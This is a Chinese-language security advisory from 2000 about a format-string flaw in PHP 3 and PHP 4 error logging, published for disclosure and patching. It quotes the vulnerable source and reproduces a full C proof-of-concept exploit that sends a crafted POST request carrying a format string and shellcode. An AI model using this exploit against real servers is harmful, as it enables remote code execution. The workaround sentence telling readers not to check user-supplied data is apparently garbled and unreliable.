首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第14期->最新漏洞
期刊号: 类型: 关键词:
PHP 错误记录格式串漏洞

出处:《YESKY》
日期:2000-10-07

受影响的系统:  
PHP 4.00
PHP 3.00


不受影响系统:  
PHP 4.0.3
PHP 3.0.17

描述:
--------------------------------------------------------------------------------


PHP 3和PHP 4中所带的一系列记录函数错误地使用了'syslog()'和'vsnprintf()'以及
'fprintf'等函数。如果使用PHP的web服务器利用syslog进行记录或者在php.ini文件中
打开了错误记录开关,攻击者可能利用这个漏洞远程攻击该web服务器。这个问题不影
响那些不进行PHP错误记录的web主机。

在PHP 4和PHP 4中都有下列类似函数:

main/php_syslog.h:

#define php_syslog syslog


main/main.c:

void php_log_err(char *log_message)
{
...      
php_syslog(LOG_NOTICE, log_message)
...

fprintf(log_file, "[%s] ", error_time_str);
fprintf(log_file, log_message);
                fprintf(log_file, "\n");
....
}


第二个fprintf是有问题的,如果“log_message”中包含用户输入的格式串,就可能被
攻击。如果打开了错误记录开关,'php3_error'就会调用php_log_err来进行记录(对于
PHP3来说)。


main/main.c:

PHPAPI void php3_error(int type, const char *format,...) {
...
char log_buffer[1024];
                snprintf(log_buffer, 1024, "PHP 3 %s:  %s in %s on line %d",
error_type_str, buffer, filename, php3_get_lineno(GLOBAL(current_lineno)));

php3_log_err(log_buffer);
...
}


functions/post.c:

static char *php3_getpost(pval *http_post_vars)
{
...
php3_error(E_WARNING, "File Upload Error: No MIME boundary
found");
        php3_error(E_WARNING, "There should have been a
\"boundary=3Dsomething\" in the Content-Type string");
php3_error(E_WARNING, "The Content-Type string was: \"%s\"",
ctype); // 有问题的代码
...
}

如果用POST方式提交的数据中缺乏边界分割串,PHP进行记录时就会将Content-Type
中的内容记录到文件中去,而这个字符串的内容是由用户提供的,攻击者可以将
格式串和溢出代码储存在这里面进行攻击。

PHP 4同样有问题,当一个文件通过POST方式上传的时候,如果文件名中包含格式串
代码并且文件的大小超过最大上传文件字节数(缺省是2M),下列代码会被执行:

static void php_mime_split(char *buf, int cnt, char *boundary, zval
*array_ptr)
{
...
php_error(E_WARNING, "Max file size exceeded - file [%s] not
saved", namebuf);
...
}

这同样可能导致远程攻击。

<* 来源:Jouko Pynn鰊en (jouko@solutions.fi)
         DilDog          (dildog@atstake.com)  
*>




测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



DilDog (dildog@atstake.com) 提供了下列测试程序:

#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>

#define BSIZE 1549
#define BUFFERZONE 128

int main(int argc, char *argv[])
{
  int i,start,count;
  int stackloc=0xBFFFDA60;
  int s;
  FILE *f;
  fd_set rfds;
  struct hostent *he;
  struct sockaddr_in saddr;
  char sploit[BSIZE];
  char file[]="/tmp/BADPHP";
  char c;
  
  if(argc!=5) {
    printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
    printf("offset=0 for most systems.\n");
    return 0;
  }
  
  /*** build exploit string ***/
  
  /* write bad format string, adding in offset */
  snprintf(sploit,sizeof(sploit),
    "Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
     55817 /*+offset0,1,2,3*/ );
  
  /* fill with breakpoints and nops*/
  start=strlen(sploit);
  memset(sploit+start,0xCC,BSIZE-start);
  memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
  sploit[BSIZE-1]=0;
  
  /* pointer to start of code (stackloc+4) */
  count=BUFFERZONE;
  for(i=0;i<count;i++) {
    unsigned int value=stackloc+4+(count*4);
    if((value&0x000000FF)==0) value|=0x00000004;
    if((value&0x0000FF00)==0) value|=0x00000400;
    if((value&0x00FF0000)==0) value|=0x00040000;
    if((value&0xFF000000)==0) value|=0x04000000;
    *(unsigned int *)&(sploit[start+i*4])=value;
  }
  start+=BUFFERZONE*4*2;
  
  /*** build shellcode ***/
  
  sploit[start+0]=0x90; /* nop */
  
  sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
  sploit[start+2]=0x49;
  sploit[start+3]=0xFE;
  sploit[start+4]=0xFF;
  sploit[start+5]=0xFF;
  
  sploit[start+6]=0xF7; /* not edx */
  sploit[start+7]=0xD2;
  
  sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
  sploit[start+9]=0xBF;
  sploit[start+10]=0xFF;
  sploit[start+11]=0xFF;
  sploit[start+12]=0xFF;
  
  sploit[start+13]=0xF7; /* not ecx */
  sploit[start+14]=0xD1;
  
  sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
  sploit[start+16]=0xFF;
  sploit[start+17]=0xFF;
  sploit[start+18]=0xFF;
  sploit[start+19]=0xFF;
  sploit[start+20]=0xC0;
  sploit[start+21]=0x5B; /* pop ebx */
  sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */
  sploit[start+23]=0x16;
  sploit[start+24]=0x58; /* pop eax */
  sploit[start+25]=0x03; /* add ebx,eax */
  sploit[start+26]=0xD8;
  
  sploit[start+27]=0x33; /* xor eax,eax */
  sploit[start+28]=0xC0;
  
  sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
  sploit[start+30]=0x43;
  sploit[start+31]=0x0B;
  
  sploit[start+32]=0x83; /* add eax,5 */
  sploit[start+33]=0xC0;
  sploit[start+34]=0x05;
  
  sploit[start+35]=0xCD; /* int 80 (open) */
  sploit[start+36]=0x80;
  
  sploit[start+37]=0x33; /* xor eax,eax */
  sploit[start+38]=0xC0;
  
  sploit[start+39]=0x40; /* inc eax */
  
  sploit[start+40]=0xCD; /* int 80 (_exit) */
  sploit[start+41]=0x80;
  
  /* add filename to touch */
  strncpy(&sploit[start+42],file,strlen(file));
  
  /*** send exploit string ***/
  
  /* create socket */
  s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    printf("couldn't create socket.\n");
    return 0;
  }
  
  /* connect to port */
  memset(&saddr,0,sizeof(saddr));
  saddr.sin_family=AF_INET;
  saddr.sin_port=htons(atoi(argv[2]));
  he=gethostbyname(argv[1]);
  if(he==NULL) {
    printf("invalid hostname.\n");
  }
  memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct in_addr));
  
  if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
    printf("couldn't connect.\n");
    return 0;
  }
  
  /* fdopen the socket to use stream functions -otgpdvt */
  f=fdopen(s,"w");
  if(f==NULL) {
    close(s);
    printf("couldn't fdopen socket.\n");
    return 0;
  }
  
  /* put the post request to the socket */
  fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
  fputs(sploit,f);
  fputc('\n',f);
  fputc('\n',f);
  fflush(f);
  
  /* close the socket */
  fclose(f);
  close(s);
  
  return 0;
}


--------------------------------------------------------------------------------
建议:

临时解决方法:

NSFOCUS建议您在没有升级PHP前,暂时关闭'php.ini'中log_errors开关,例如变成下列格式:

log_errors = Off

同时使用error_log()函数时不要对用户提供的数据进行检查。


厂商补丁:

PHP已经提供了升级版本解决了这个问题:

PHP4 :

http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz

PHP3:

http://www.php.net/distributions/php-3.0.17.tar.gz

版权所有,未经许可,不得转载